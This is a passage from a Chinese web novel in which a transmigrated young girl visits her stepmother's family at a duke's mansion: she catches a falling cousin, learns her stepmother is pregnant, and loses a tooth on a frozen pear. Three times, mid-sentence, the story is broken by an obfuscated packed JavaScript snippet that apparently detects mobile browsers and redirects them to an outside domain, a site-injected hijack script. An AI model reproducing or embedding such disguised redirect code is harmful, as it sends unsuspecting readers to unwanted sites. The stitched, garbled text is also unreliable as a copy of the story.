林诗芸被姐姐叮嘱不准玩雪,只好无所事事的游览国公府的后花园。 世子的妹妹十岁的姚若兰看到林诗芸落了单,本是要过去说几句话的,不想却看到五叔和六叔家的两个妹妹吵以来了,见林诗芸乖巧便先去调和两个妹妹的矛盾,准备等一会再去找林诗芸说话。 到底是国公府,这花园比二房的花园可大多了,虽是冬日,却也不显萧条,假山奇石,水塘凉亭,连那梅花开的都比林府的旺盛。 林诗芸不自觉的被吸引往梅林的方向走去,树枝上还挂着白雪,点点梅花盛开其中,在这寒冬腊月坚韧不拔的生长,有一种独特苍凉又不屈的美感。 她行的很慢,脚下的路被清扫的很干净,没有一丝雪花,但她觉得并不好走,脚上的鹿皮靴子很暖和,手脚上的冻疮其实也好的差不多了,但是她却总是感到痒痒的,涨涨的,就像是她这颗异世而来的灵魂,不知道什么时候才能同这个时代契合。 她觉得不会很久的,毕竟姐姐那么好,哥哥母亲和姨娘都那么好。 这么想着步子也便轻快了,往前走的时候会路过一片假山,后头有国公府的婆子不远不近的跟着,不会打扰众位小主子玩乐,却也得保证众位小主子的安全。 林诗芸看着抬头看着假山一角冒出来的一抹绿色,笑意更深,你看,春天已经来了,石头缝都长出绿色了呢,刚想上前去看看是何植物,却听一声惊呼,四少爷! 林诗芸转头一看,便见一个小家伙不知何事爬上了假山,还一脚没站住滑了下来! 10. 第 10 章 亲老天爷!这是大雪后的假山,和小家伙是怎么敢的啊! 丫鬟婆子到底是怎么看的孩子,这要是真摔到了肯定头破血流的! 还好林诗芸离的近,她也来不及想些什么,眼看孩子要掉下来便身体猛的往前一扑,小家伙顺利的摔到了林诗芸的身上。 林诗芸扑了个狗吃屎,幸好身上穿的厚,披风将她的脑门给盖了个严实,两只小白兔的耳朵耷拉在地上,下巴被地面的石子给垫了一下,应该有些磕破了,手上也有些火辣辣的,只是她无暇顾及,刚刚小家伙重重的摔到了她的身上,她身上是被重物砸到的疼,结结实实的砸了那么一下,幸好并不高,她只是闷哼了一声,趴在地上并不言语。 不多时便听见身边顿时围了一群的人。 身上的小家伙早就被吓的哭开了,看孩子的丫鬟和婆子都吓出了一脑门的冷汗,亏了小主子没事,不过今日这一顿板子是免不了了,感谢老天爷叫这位新来的表小姐给接住了,不然真出了点什么事,几人被发卖事小,打死都是轻的。 几个在不远处玩雪胡闹的哥哥姐姐们也不玩了,都跑了过来。 林诗情看到地上的妹妹之后吓的小脸都白了,同林景明忙不迭将妹妹给扶了起来,不住的打量有没有受伤。 待看清林诗芸下巴上的点点血迹,林诗情哇的一声便哭开了。 五岁的姚君澜被世子大哥姚君远给抱在怀里屁股上老老实实的挨了几个巴掌,本就受到惊吓的孩子这回好了,哭的更大声了。 林诗芸被哭的脑门子疼,一阵鸡飞狗跳之后好不容易回到厅内了,又被几个妇人连番查看,最后还是府医再三保证两个孩子都没什么问题之后,林诗芸才得以被解放。 林诗情哭的鼻尖通红,紧紧的攥着妹妹的手,可吓死她了,小四那么胖,把她妹妹压坏了怎么办!呜呜,谁还她妹妹! 小胖子姚君澜小名真就叫小四子,此时五岁的小胖子惊魂已定,正被祖母给抱在怀里小声安抚着,不知郑氏说了什么,小胖子怯怯的像林诗芸望了过去,好半晌才点了点头,扭扭捏捏的走了过去,小小的一团努力学着大人的模样对林诗芸抱拳行礼:“谢谢二表姐,是小四不好,害表姐受伤了。” 嗯... 小胖子似乎在想怎么道谢,看到林诗芸的下巴流血了,想着她娘说脸上流血就是破相了,破相了就没人要的,小胖手挠了挠脑袋对林诗芸道:“救命之恩当以身相许,表姐不怕,脸脸流血也没事,小四长大了娶表姐好啦~” 一句话叫本来还在心疼两个孩子的姚之颜和孙氏顿时哭笑不得的,孙氏上前一把又拍了儿子的屁股,“再胡说今日娘就叫你屁股开花!去去去,赶紧滚前院找你爹去!” 林诗芸牵着姐姐的手只一味的傻笑,她一个七岁的孩子,叫她听五岁的孩子说以身相许,这不扯淡的吗,总之,笑是化解一切尴尬的法宝,笑就对了。 她的下巴上和手上擦伤也被府医给简单上了药,并没有感觉到很疼,只是这么一闹也好,她能感觉到众人看向她的视线里除了刚见时的怜悯,现在还多了几分真情实意了。 孙氏心里已经想着一会去自己私库寻些物件来送给林诗芸,若不是这孩子,今日流血的只能是自己孩子。 她刚才出去了一趟,所有的丫鬟婆子全被换了,一个个的吃了熊心豹子胆了!这么多人看不住一个孩子! 还有花园洒扫的下人!统统发卖!地上竟然还有小石子!林诗芸万一破了相,就是国公府的罪过! 郑氏现在有些明白姚之颜为何要养这个孩子了,她笑着朝林诗芸招了招手,林诗芸看着美妇人有些受宠若惊,姚之颜揉了揉林诗芸的小脸笑着叫她快去找外祖母,外祖母这是喜欢你呢,林诗芸小脸激动的红扑扑的小心的走了过去。 郑氏身旁的妈妈双手封上了个金锁,郑氏亲手给林诗芸带了上去。 林诗芸突然便感受到了脖子上的重量,好家伙,纯金的啊?脖子好沉啊抬不起来了怎么回事!这不得值不少钱吧,赚了赚了,今日真是赚大发了! “这是外祖母小时带的,今日便送给你了,望你带着这个平安锁也能一世平安喜乐,健康无忧。” 郑氏的嗓音轻柔,但是透着一股风霜过后的苍劲有力,林诗芸傻傻的点着头,脑子里只有金子好沉和外祖母好美这两件事,姚之颜看着林诗芸的傻样拍了拍她的屁股,她这才后知后觉反应过来自己应该给老人家磕头谢恩的,便又跪下结结实实的磕了个头。 这一番操作下来给一旁扶着肚子的姚玉英笑的感觉脸都快抽筋了,对着姚之颜羡慕道,“哎吆,我这胎也生个这么懂事可爱的女儿就好了,我家那三个小子,我都快被烦死了,今日我当是真羡慕你了,” 姚玉英算是高嫁,嫁去了忠勇侯的嫡次子,今日她丈夫宋远征同三个儿子将她护送至后院之后便去了前院去舞枪弄棒去了,都是武将出身,前院众人除了林诚安,可都是能刷上些功夫的。 只是姚玉英成婚十一年,小儿子也五岁了,三个儿子没一个随她的,动辄打打杀杀的刷枪弄棍的,她急切的希望自己能生个女儿出来,也好陪她说说话。 林诗情也是有平安锁的,小孩子嘛,不免对长辈送的礼物充满好奇心,姐妹俩正对着头在欣赏平安锁呢。 只见姚之颜白了姐姐一眼,她想生生不出来,嫡姐倒好,还挑上了。 厅内这时只剩了郑氏嫡出的两个儿媳和两个女儿,小辈也只剩下了林诗情姐妹。 姚之颜对两个女儿唤道,“情儿,芸儿,你俩快来说说,大姨肚子里是个弟弟还是妹妹啊,” 林诗情倒是实诚,因着她娘一直想生个弟弟,便一直认为生弟弟是好的,便老老实实答道是弟弟。 但是林诗芸是谁啊,刚才母亲和大姨的对话她可以稍稍的听了那么一耳朵的,加上大姨看她们姐妹的眼神,心中明镜的很,于是装憨卖傻道,“大姨给芸儿生个妹妹,” 而后又歪着头,眨巴着眼睛看着姚之颜道,“可是芸儿还想要个弟弟,母亲再给芸儿生个弟弟,” 还嗯了个长腔,“像小四子那样的弟弟,” 说完自己还不好意思起来,嘿嘿两声,躲在姐姐身后去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041269|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一句话倒是叫姚之颜红了眼眶。 她倒是真的想生呢,可是自从生完龙凤双胎之后她这肚子多少年就没个动静了,吃过多少药看过多少大夫,连宫中的御医都请了个遍,都说夫妻二人身体都很好,可她就是不怀孕,她也是急了多少年。 姚玉英同母亲对视一眼,郑氏眼中有些责怪女儿乱说话,秦氏忙不迭打圆场,“好了好了,也该到用膳的时间了,母亲,咱们移步膻厅吧,怕是父亲和姑爷他们都等着了。” 童言无忌,这事也不是林诗芸挑起来的,姚之颜虽心里有些不舒服,但是却没有对林诗芸产生什么怨怼的想法,各人有各人的命,或许是她的孩子还未到时候来吧。 膻厅真的大,男子女眷加上孩子坐了三桌,林诗芸再次跟着认了亲,她自认脸盲,今日见了这么多的人她定是记不住的。 罢了罢了,之后慢慢认。 于是同姐姐坐在一处老老实实的坐着用膳。 这一用膳,便又成了饭桌上的焦点。 这孩子吃的可太香了。 且一点也不挑食,嘴巴不大,小口小口塞的满满的,像个仓鼠似的,吃的很香,眼睛眯眯着,吃到好吃的会睁大了眼睛,点点头,放下速度来慢慢品尝,吃饭的速度却是不慢的,吃完了一碗饭,还小心的舔了舔唇角看向母亲,询问自己可以再吃一碗饭吗。 姚之颜自是笑着点头,示意丫鬟再给孩子盛上一碗饭,然后便见林诗芸满意的接过米饭再次小口小口香甜的吃了起来。 同桌的小孩子似乎是受了林诗芸的影响,也没有挑食的了,一个个学着林诗芸的模样吃的喷香。 只是姚之颜那边却是出了岔子。 她本身是极爱吃鱼的,尤其是桌上清蒸的鲈鱼,是冬日里难得的肥美。 这还是秦氏知道她爱吃,特意吩咐厨房采购的新鲜鲈鱼。 不料姚之颜却看着碗中嫡姐给她夹的雪白的鱼肉,胃里没来由的突然一阵恶心,捂着嘴转身便跑了。 秦氏慌忙站了起来跟上去,隔壁桌的林诚安看到妻子的动静也是吓了一跳,连忙将筷子丢下小跑过去。 如今夫妻二人感情正是如胶似漆的,林怀诚是真的吓坏了。 林诗芸和林诗情二人吓的站了起来,林诗情差点就哭了,林诗芸将嘴里的饭菜咽掉,眨巴着眼睛抱住了姐姐的胳膊,面上也是叫吓坏了。 其实林诗芸心里已经有了猜想,不会吧不会吧,姚氏不会真的怀孕了吧,难怪除夕夜见她吃了好几颗酸梅子呢,果然是有好事啊。 上首的郑氏看着庶女的模样心里却是有数的,她扯过帕子擦拉擦唇角,对众人道无事,都先吃着吧,便离席而去。 只是起身之时还是看了林诗芸一眼的,心想这孩子莫不真是个福星?之颜这孩子盼了这么多年,果然是这孩子带来的孕气吗。 姚玉英心里也是已经有了猜测,她尝试着安抚林诗情和林诗芸,叫两个孩子先用膳,却见两个孩子还是执拗的望着母亲离开的方向,嘴上不说心里再次羡慕极了,一脸我拿你俩没办法的模样便带着两个孩子离了席。 11. 第 11 章 林诗芸猜的没错,姚氏果真怀孕了。 也不枉这夫妻二人的夜夜耕耘。 姚氏半躺在榻上,轻轻抚摸着自己的小腹,眼神里满是温柔。 盼了多少年了,终于给她盼来了吗,难道说,这孩子真是芸儿那孩子带回来的? 子不语怪力乱神,可是这些世家大族,对玄学一事却是深信不疑的。 府医交代完注意事项便要离开,林怀诚不是很放心,毕竟妻子同秦明月差不多的年龄,不知有没有生产的风险,他如今的一颗真心可全在妻子身上,是不想妻子出一点差错的,便又着急忙慌的跟了出去,打算再问上几句。 姚氏望着丈夫紧张的模样,同母亲对视了一眼,母女二人相视一笑,眼睛里俱是守得云开见月明的轻快。 想到芸儿,姚氏眼中一丝不明意味闪过,不由的攥住了母亲的手,有些迟疑道:“母亲,难道说,芸儿真是福星?我这孩儿和夫君的差事,都,” 郑氏抿着嘴笑的无奈,轻轻拍了拍庶女的手道:“是或不是的又怎样呢,已经是你的女儿了,福气啊,已经全在你院里了,再去考虑那些有什么用呢,” 郑氏将姚氏额前的碎发给别到耳后,眼神里满是疼爱,“你啊,也是我养大的,如今再没有比你更孝顺母亲的了,你虽将那孩子给了院里的姨娘带,但她总归叫你一声母亲,你多费些心照顾着,平日里不要亏待她便是,我看这孩子是个再良善不过的,眼神澄澈,心思也简单,日后啊定拿你当亲母对待,不管是巧合还是这孩子有福气,你都该安了一颗心,好好养胎才是最要紧的。” 姚氏面对母亲,难得露出了小女儿状,“嗯,我都听母亲的,只是,母亲,那孩子额上的疤,还得您去宫中求个去痕膏来。” 郑氏白了庶女一眼,“母亲自是早就准备好了,便是你没诊出孕来,那丫头替小四受了那么一下,母亲也是应该给她去痕膏,” 她孙儿金贵,哪是一个金项圈就能将人打发了的,她早就想好了。 言罢便笑了起来,“说来也巧,皇后娘娘今年差人送的东西里头就有去痕膏,” 郑氏又不由自主的点点头,开怀道:“这样一说,这丫头的命确实是极好的,你啊,福气都在后头呢。” 外间的姚玉英看着三个孩子焦急的面孔,听见里间没什么动静了,终于按耐不住将三个孩子给带了进去。 林诗情摸着眼泪哭着跑到床前,“母亲,你怎么了,吓死情儿了呜呜,” 林景明皱着眉头,紧紧的站在妹妹一侧也是一脸的关切。 姚氏有些感动,又有些心酸,她的孩子已然长大了,都知道关心母亲了。 她摸了摸两个孩子的头,“母亲无事,母亲,就是,” 她又看到芸儿站在哥哥姐姐身后,伸长了脖子,想过来又不敢过来的模样,便笑着朝着芸儿招了招手。 亦摸了摸芸儿的头,这才对着三个孩子道:“母亲无事,母亲是有孕了,所以才会不适。” 三个孩子眼睛睁的大大的,但是都是明白有孕是什么意思的,情儿直接高兴出声,“母亲怀小弟弟了?” 林诗芸高兴的又蹦又跳的,“真好,哥哥,母亲怀小弟弟了!” “妹妹,母亲怀小弟弟了!” “外祖母外祖母,情儿要有弟弟了!” 情儿激动又开心的模样叫姚氏鼻尖一酸,瞬间落下泪来。 姚玉英心里也是为妹妹高兴,她轻柔的拍了拍妹妹的肩头,安慰道:“大喜的事情,怎的就哭起来了,一会妹夫来看到,再以为我们娘几个欺负了你,” 然后这句话还未说完就被郑氏给打了,“都这么大的人了,惯会胡扯,赶紧去喝安胎药去,你小妹这刚诊出孕来我已留了她在府上住上几日,你不也要留几日的,先去喝药,你们姐妹且有的是时间说话。” 姚玉英撇了撇嘴便走了,哎,亲娘一向是喜欢小妹多过自己的,罢了罢了,她人好心大不计较。 三个孩子高兴够了,便被王妈妈给带了出去,午膳尚未用完呢,王妈妈眼角通红,看芸儿的眼神已然变了,四姑娘是个福星,以后她可得将任给供起来,咱们二房啊,日子定会一日比一日好! 定安侯府二房这一家子还真就在国公府住了下来。 只差了个小厮去侯府报了喜讯,除了老太太其余人也未声张,只说是二爷陪着夫人在娘家过上几日。 连老天爷也在留人,当夜便又落起了大雪,白雪皑皑,好在只又下了一个白日便停了,国公府孩子众多,即使下了雪也不耽误玩闹。 白日里赏雪在屋里玩耍,她是真的见识到了什么叫世家贵族,大户人家。 连小孩子们都是有专属的游乐场的。 是真的类似于后世的游乐场,很大的一个房间,里头秋千滑梯跷跷板林诗芸见过的没见过的玩具都有。 她是有心去挨个玩上一些的,只是林诗情并不感兴趣,拉着她喊了两个差不多的小姑娘一起去踢毽子去了... 这刚一停雪,男孩子们便外出去打起了雪仗。 古往今来便没有不喜玩乐的孩子,连国公府世子也不行。 于是,世子带头,呼啦啦带着一群小弟去了后院的空地。 姑娘们虽说羡慕,但也没谁去真的凑那个热闹,毕竟从小教养的规矩里面,是没有哪个世家贵女敢真的去打雪仗的。 实在是不合规矩。 只是逛逛花园,去观观雪景是可以的。 最大也就十岁的小姑娘,一个个的端着架子,满目艳羡的看着打雪仗的男孩子们。 林诗芸虽说也是羡慕的,但是她自觉还有更重要的事情要做。 她悄咪咪的从袖子里掏出了一个梨子,趁着无人注意的时候埋进了花园的一处雪堆。 嘿嘿,她上辈子刷短视频可是没少看到冻梨呢,她身处的这个环境,定是没有贵人吃冻梨的。 于是,她便偷偷拿了个梨子,准备自己做上一个。 不知道需要冻几日啊,她上辈子见人家吃的冻梨都是黑黑的,怕是得冻上几日? 嗯...不若明日再来看看? 她这边在偷摸的埋东西,那边姐姐已经在唤她了。 实在是小姑娘太多了,林诗情觉得外祖父实在能生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041270|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这七八个姑娘,看的她眼花缭乱的,她差一点就没找到妹妹。 “嗯,姐姐,我在这,”林诗芸忙将小手缩进披风里,小跑着跟上姐姐。 只见一个大一些的小姑娘翻了个白眼,不懈道:“一个庶女而已,也值当你妹妹长妹妹短的,哼,咱们什么身份,她们什么身份,也不怕叫人见了笑话!” 说这话的是国公府三房的嫡女,姚若华,也是林诗芸救了的小胖孩的嫡亲姐姐。她早就看这丑八怪不顺眼了,净粘着诗情,也不嫌烦。 林诗情有些生气了!不准说她妹妹! 小姑娘也不惯着,虽两人感情不错,但是她是不允许别个说妹妹不好的,一句也不行! 林诗情上前牵着妹妹的手白了姚若华一眼,“我乐意,你管的着吗,” 后半句林诗情没说,她可是常听母亲念叨三舅舅的混账事,宠妾灭妻的玩意,还说会早晚死女人身上。 她虽然听不太懂,但是却是知道宠妾灭妻是个什么意思的。 她妹妹这么好,庶女又怎么了!三妹妹也是庶女呢!咱们侯府才不会苛待! 姚若华有些生气,指着林诗情怒气冲冲道:“林诗情你不要不知好歹,你,” 大姐姚若兰忙去打圆场,将二妹妹拉开,皱着眉头小声哄道:“二妹不要惹事,芸儿也是姑母的女儿,一辈子都是姑母的女儿,什么配不配的,不要胡说,” 姚若华却是个不识好的,想到她娘亲被妾室压了这么多年,连个庶女穿的都比她得脸,她可是看到母亲和祖母送了不少好东西给这个庶女,不就是替小四垫了那么一下吗,又没受伤!不就剐蹭了两下吗!丑人多作怪! 只是她又想到姚若兰的话,也不敢真的去怵小姑母的眉头,她哼了一声,说了句有丑八怪而已!也就你拿她当妹妹!转身便离开了。 她才不是嫉妒,她一个国公府嫡女,才不会同一个庶女交好呢!她们不配! 林诗芸也不生气,只攥紧了姐姐的手,一脸无辜的望着大表姐。 姚若兰叹了口气,她十岁了,自是知事了,懂得比几人要多些,她是理解二妹的心情的,她爹虽没达到宠妾灭妻的地步,但是她娘也是经常因为妾室这事上生气的。 她轻轻扯了扯唇角道,“走吧,咱们去暖房赏花,莫要站在这处受冻。” 这小插曲,林诗芸根本没放在心上,只是晚间睡觉的时候林诗情还是像她郑重道:“妹妹就是我的妹妹,没什么庶不庶的,我喜欢妹妹,会一直对妹妹好,咱家可不兴什么庶子庶女的。” 姐俩这两日在国公府都是一个房间睡的。 侯府一脉,其实庶女的待遇其实真没怎么样,反正都是养大了之后找一门不错的亲事,为侯府的荣耀为了家族利益而嫁人,多数是门当户口的。 庶子同嫡子倒是会区别对待,侯府的资源全方位倾斜的只能是嫡子,只是林诗情不知道罢了。 只是林诗情这一句话真的给林诗芸感动到了,她一把抱住了姐姐,哼哼唧唧道,“嗯嗯,我知道的,姐姐不必放在心上,芸儿相信姐姐,姐姐最好了,我姐姐是天底下最好的姐姐!” 12. 第 12 章 翌日午后林诗芸便趁着睡午觉的空档偷偷摸摸的跑了出去,她迫切的要去看看自己的梨冻的什么样了。 林诗情被小姐妹叫去了,不然林诗芸可不敢偷跑出来。 因为比较兴奋,这孩子一路小跑着便来到了埋梨的地方,一路上脑袋里想的都是好不好吃,甜不甜,就没考虑...能不能咬动... 当真是贪吃的傻孩子,也不嫌冻手,愣是用手扒拉开了雪找到了大头梨... 兴许是十分渴望上辈子没吃到的,这辈子的林诗芸对吃食上十分执拗。 她呆愣愣的看着冻瓷实了的梨子,思趁着到底该如何下嘴。 手上终于觉得冷了,赶忙将手藏进袖筒里,用袖子捧着冻的硬挺挺的梨,紧了紧身上的披风,嘴里嘟嘟囔囔的就往回走。 值得一提的是,林诗芸是自己一人跑出来的,因着午休,她将屋里的丫鬟都给打发出去了,陈妈妈一开始就没跟来国公府,这两日都是王妈妈看护这两位姑娘,加上还得忙着照顾有孕的夫人,王妈妈也是挺忙的。 所以在此时,这孩子跟个脱缰的野马,哦不,跟个脱缰的馋猫似的,急不可耐的想尝尝这冻梨的滋味。 她身上的披风很厚,脚上还是那双鹿皮靴子,浑身暖和的很,已经养出来的几分颜色,在冬日暖阳的映衬下又多了几分灵动,水润的眸子自带一层天然的水汽,盯着梨子的模样十分生动有趣,说一声可爱实在不为过。 她脑袋里回忆着上辈子视频里看到的冻梨,这颜色看着不对,也不黑啊,是不是真的应该多冻上几日? 可是她嘴好馋啊……这日头越来越暖,再等几日会不会被人发现了? 林诗芸极尽可能的给自己找吃这玩意的理由,最后还是决定,现在就吃! 肯定是能吃的,上辈子她也是经常看视频上有直接冻水果的,这可不就是水果冰棍吗。 于是这么想着,傻孩子就又用稍微暖和了一些的手将梨子给拿了出来。 林诗芸上辈子死时也才十八岁,高中生而已,因为生病的原因是真的好多东西都没吃过,最爱刷的短视频便是各种吃播了,所以这辈子身体健康才会对吃上有些执念。 傻孩子馋冻梨馋的很投入,丝毫没注意自己已经走到了一处观景亭外头,而亭子被厚实的挡风围着,恰好有位小公子在里头喝茶赏景。 宋晏就是这个时候看到林诗芸的。 宋晏乃端王世子,其母同国公夫人是亲姐妹,两家交情一直不错。 透过挡风的缝隙,他一眼便看到一个瘦瘦小小的小姑娘,身上是一件粉嫩的披风,小姑娘的鼻尖冻的通红,面色却是红润的,此时的小姑娘竟是抿着唇站在外头,一双水润的眸子紧紧的盯着手上的梨子,小馋猫一般的模样。 兴许是说服了自己,小姑娘的脸上表情瞬时凝重了起来,像是下定了某种决心,点了点头,眉心也微微皱起,而后便张开了嘴巴,狠狠的对着梨子咬了一口... 宋晏的嘴角微微抽动,他抿了抿唇角,感觉这小姑娘可真有意思,他想笑,最终却没有笑出来。 因为小姑娘第一口是没有咬动的,她不死心,又加大了力气,重重的咬了一口…… 然后便将自己那颗松动了的牙齿给蹦掉了.…… 不对,掉了半个,正流血呢。 林诗芸傻乎乎的看着自己手上梨子上的血,一时间不知作何反应。 完蛋了,贪吃将晃动的牙给贪掉了。 她欲哭无泪,啊,怎么办,好丢脸,嗯……应该没人看到吧? 她嘴巴还张着,掉牙的地方不断有血流出来。 叹了口气,四处张望了一下,见没有人经过,像是终于放下了心,她又低头思考了一下如何处置手上的罪魁祸首,抿了抿唇,最终还是决定将手上梨子给扔了。 她又呸呸吐了两口血沫,小手伸向嘴边,闭了闭眼睛,给自己打了个气,不疼的不疼的,她就那么一用力,掉半颗的牙变成了掉整颗。 很好,血冒的更厉害了。 顾不得别的,她将牙齿塞进腰间的荷包,掉的上牙,应该扔到下方,她得去找王妈妈,看看是不是得拿回自己家扔才好,她这是别人家做客呢,可不能随意乱扔,嗯……牙齿。 林诗芸拍了拍荷包,终于想起掉牙的地方还流血呢,开始着急起来。 宋晏终于笑出了声,也不管身边的小厮疑问的眼神,起身撩起了挡风,大步走了出去。 于是,戏剧性的,在林诗芸嘴角还残存着些许血液的时候,便见一貌美的男孩子从天而降。 走的近了,宋晏仔细打量起了小姑娘,猜想她是姨母家的某位亲戚,推算一下,大概应是定安侯府被新接回来的那位了。 世家里头没什么秘密,定安侯府三房那孩子和二房接了个庶女回来一事早就传开了,据说这小庶女是同姨娘一直被养在庄子上,姨娘近日生病去了,这才给接了回来。 世家大族,真真假假的,众人都是心知肚明,谁也不去计较哪些真哪些假罢了。 国公府的小女娘他都见过,定安侯府二房的二姑娘他也是打过照面的,那么,便只剩一个了。 宋晏十二三岁的模样,容貌俊美,瓜子脸丹凤眼,鼻梁高挺肤白似雪,说一声雌雄莫辨不为过。 兴许是没见过如此贪吃的姑娘,他竟对眼前的小人产生了好奇心。 他拿出了一张帕子,见林诗芸只呆呆的看着自己,轻轻的扯了扯嘴角,也不嫌弃小姑娘嘴角的血污,竟然亲手拿着帕子帮林诗芸擦掉了唇角的血。 为了吃将乳牙给蹦掉了的小姑娘,他还是头一回见呢,别说,这姑娘长得还挺...别致?嗯,还是可爱的。 林诗芸后知后觉,反应过来之后竟一把抓住了眼前人的手,张嘴便是,“哇,神仙哥哥!你是神仙哥哥吧,怎的长得如此好看!” 小花迷一般,说完还直勾勾的盯着人家,眼睛一眨不眨的,将净手回来的姚君远给逗的哈哈大笑。 小姑娘丝毫没意识到自己说话漏风,眼睛一瞬不瞬的盯着人家宋晏,之后虽然被来人的笑声给吓了一跳,却还是没舍得放开小哥哥的手,转头看向来人,见是姚君远来了,白了这人一眼,狗东西,来的这么不是时候,她还没摸够呢。 心里骂骂咧咧了几句,才不情不愿的放开了宋晏。 只是心里还在叨叨神仙哥哥的手好暖啊,还滑溜溜的。 待姚君远捂着肚子笑够了道:“以咱们晏哥的相貌,确实当的一声神仙哥哥,小表妹这么叫也没错的。” 说完他又看到地上狼狈的血迹,迟疑道,“只是,表妹这是作何了,怎的如此狼狈。” 可不狼狈吗,小跑着过来的,本来被丫鬟扎好的头发有些歪斜了,地上还有几口她吐的血,如果她张嘴的话,还能发现姑娘少了一颗牙。 她弱弱的叫了声世子表哥,而后便一把将自己的嘴巴给捂上了! 啊她牙掉了!说话漏风!刚才她是不是就这样跟神仙哥哥说话的?啊啊她的形象啊,怎么办?还能不能抢救一下了? 心中天人交战了半晌,林诗芸终于意识到一件事,她不能张嘴,她一张嘴,牙掉了不说,万一又被世子表哥看到梨子,还有梨子上的血,那她偷啃冻梨这事不就被发现了吗! 她不能被笑话! 于是小姑娘紧紧的捂住了自己嘴巴,姚君远怎么逗都不说话,就一个劲的摇头,眼睛却不自觉的往路边冻梨的方向飘。 宋晏看小姑娘的模样,心中只觉好笑,不想叫好友继续欺负小姑娘,便出声道,“好了,这位妹妹不想说便不说了,咱们走吧,先去给姨母请安。” 说完转头便问后头跟着的下人拿了汤婆子,动作轻柔的放到了林诗芸的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041271|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 刚才小姑娘抓自己手的时候,那一双小手冻的冰凉。 林诗芸接过,抿着唇尽量不张开嘴巴,嗡嗡的说了句谢谢神仙哥哥,神仙哥哥真好,又转过头瞪了世子表哥姚君远一眼,才哼了一声转头便跑走了。 哼,就这个世子表哥,一点也没有世子的样子,整天带着几个表兄弟在外头闹,也没有神仙哥哥温柔,昨日还笑话她呢,见她人小吃的多,笑话她能吃! 她能吃咋了,吃他家,哦对,虽然这两日吃的是他家的大米,但是大人们可都说了,她这是有福气! 林诗芸一路脚底生风似的跑回了目前暂住的院子,为了不露馅还将手中的汤婆子给藏了起来,只是这刚一进厢房就看到了面色不渝正在训斥丫鬟的林诗情。 林诗芸心中甚虚,完了完了,被逮到了。 她蹑手蹑脚的走到姐姐跟前,抓着林诗情的袖子便开始道歉。 王妈妈在一旁憋笑憋的厉害,这个活宝,也不知是跑哪去耍了,这狼狈的小小模样一看就是去做完坏事回来的。 却不想林诗芸一张嘴姐姐还没喊出来,王妈妈就哎吆哎吆起来了。 “小祖宗,这好端端的的牙怎生还掉了?前日不还只是有些松动?” 林诗情的牙也是才长出来的,一听妹妹的牙掉了,也顾不上生气了,忙去查看。 林诗芸感受着家人的关心,一颗心温暖的不像话,她乖乖的张开嘴巴由着王妈妈和姐姐查看。 王妈妈看着那新鲜的肉坑,眉头紧皱,不能是和人打架打的吧?再看到四姑娘袖口的血迹,心疼道:“应留了不少血吧,袖口还有残存的血迹,四姑娘赶快说说,是和人打架了?” 林诗情一听打架,那还了得,撸起袖子来就要出门去,“谁敢打我妹妹!妹妹你等着!姐姐去给你报仇!” 一时间厢房的人是乱做一团,不多时便将姚氏同老夫人郑氏给引来了。 这院子本就是姚氏未出阁时住的院子,因为姚氏的胎还未满三月,郑氏基本上午膳都会来陪庶女用,有时姚玉英也会过来,娘几个也说些体己话。 娘俩聊的正欢呢,便听到了东厢房的吵嚷声。 这一出来一看,好家伙,中间被围住的头发不怎么齐整的小姑娘,正抱着林诗情的胳膊抽抽噎噎的哭的伤心呢。 林诗芸被姐姐感动的一塔糊涂,忙去扯姐姐的胳膊,面上期期艾艾的,带着感动还带着些难以启齿,最后说了两句更是落下泪来。 呜呜,我姐姐真的是太好了,是天底下最好的姐姐。 嘴上解释道:“不是的姐姐,我没给人打架,姐姐相信我,” 林诗情自是不信的,“没打架怎的刚晃动的牙就能掉了?妈妈您也说说,妹妹总不会是摔跤摔的吧!妹妹你别怕!有姐姐在,谁也不能欺负了你!” 王妈妈也是紧紧皱着眉头,一脸的关切,人的眼神是不能骗人的,林诗芸能感受到,姐姐和王妈妈严重对自己的关心都是真情实意的,于是,心中的愧疚更甚。 我干嘛要偷偷跑啊,我就是缠着姐姐一起去,姐姐也不会不同意的,这下好了,害姐姐和王妈妈担心,春雨听雨又挨了罚,自己还丢了脸...... 于是众人只见林诗芸的小脸越来越 低,都快埋到领口了,小手捏着衣摆,扭扭捏捏道:“就,我昨日偷偷的在雪里埋了梨子,今日偷偷跑去挖来吃,刚才没忍住啃了两口...就,就把牙给蹦掉了...” 于是,林诗芸的这一丰功伟绩,哦不,这一场笑话成功的给国公府这一日又增添了非凡的乐趣,在一家人回府那一日郑氏更是要求姚氏以后经常带这孩子回来。 